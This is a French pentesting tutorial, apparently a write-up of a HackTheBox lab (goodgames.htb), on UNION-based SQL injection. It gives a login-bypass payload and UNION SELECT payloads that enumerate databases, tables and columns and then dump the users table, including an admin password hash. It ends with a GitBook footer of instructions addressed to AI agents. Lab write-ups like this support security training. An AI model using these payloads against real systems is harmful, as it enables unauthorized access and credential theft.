> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-based-pentesting-web.md).

# SQLi basée sur UNION

En utilisant **Burp Suite**, nous pouvons intercepter la requête que nous autorisons pour tester l'injection SQL.

<figure><img src="/files/e9bd25b83b0b0dda27e63d806d9b51145cd4fab8" alt=""><figcaption></figcaption></figure>

### Injection SQL de base :

Pour contourner l'authentification avec une injection simple, nous utilisons :

```bash
admin ' or 1=1-- -

```

<figure><img src="/files/0f2e2f0fc58224a115a129eac55f76b25dca0fef" alt=""><figcaption></figcaption></figure>

Ce type d'injection force la condition à être toujours vraie (`1=1`), permettant d'accéder au panneau d'administration en contournant le contrôle d'identification.

<figure><img src="/files/59d8ceb5db2b63344599c0b3f006735c720ac9ff" alt=""><figcaption></figcaption></figure>

### Injection basée sur UNION

Avec une injection **SQL basé sur UNION**, nous essayons de déterminer le nombre de colonnes afin de structurer les requêtes de manière compatible avec la base de données. Exemple :

```bash
admin' union select 1,2,3,4-- -

```

Le serveur renvoie une réponse indiquant « connexion réussie », montrant qu'il y a 4 colonnes.

<figure><img src="/files/791c7f114e527be123e8bb8abea2a079eb51dce8" alt=""><figcaption></figcaption></figure>

#### Lister les bases de données

Pour lister le nom de la base de données actuelle, nous utilisons :

```bash
admin' union select 1,2,3,database()-- -&password=admin

```

<figure><img src="/files/f185cc4416cd6621b548e9257d0c1cf44a7faf3a" alt=""><figcaption></figcaption></figure>

Ensuite, pour obtenir toutes les bases de données disponibles :

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin

```

{% endcode %}

Résultat : `information_schema`, `main`

<figure><img src="/files/721c3aec60da555ef1e814b311782ad7e1aba153" alt=""><figcaption></figcaption></figure>

#### Lister les tables

Après avoir identifié la base de données `main`, nous listons les tables de cette base pour explorer les structures stockées :

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -

```

{% endcode %}

Tables trouvées : `blog`, `blog_comments`, `users`.

<figure><img src="/files/c3ef996c5a714a07e64cf763bb9f0fcb62ac68b1" alt=""><figcaption></figcaption></figure>

Lister les colonnes d'une table Pour la table `users`, nous listons les colonnes disponibles :

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- -

```

{% endcode %}

Colonnes trouvées : `email`, `id`, `paramètre name`, `mot de passe`.

<figure><img src="/files/4636a3dcae571cb9f78a5cf02c1d84b946bca217" alt=""><figcaption></figcaption></figure>

#### Extraction des données utilisateur

Nous extrayons ensuite les données de la table `users`:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- -

```

{% endcode %}

UTILISATEUR : `Admin` E-MAIL : `admin@goodgames.htb` MOT DE PASSE (hachage) : `2b22337f218b2d82dfc3b6f77e7cb8ec`

<figure><img src="/files/91db876ee69e6c418c07985ebe9fcfeb890992f2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-based-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
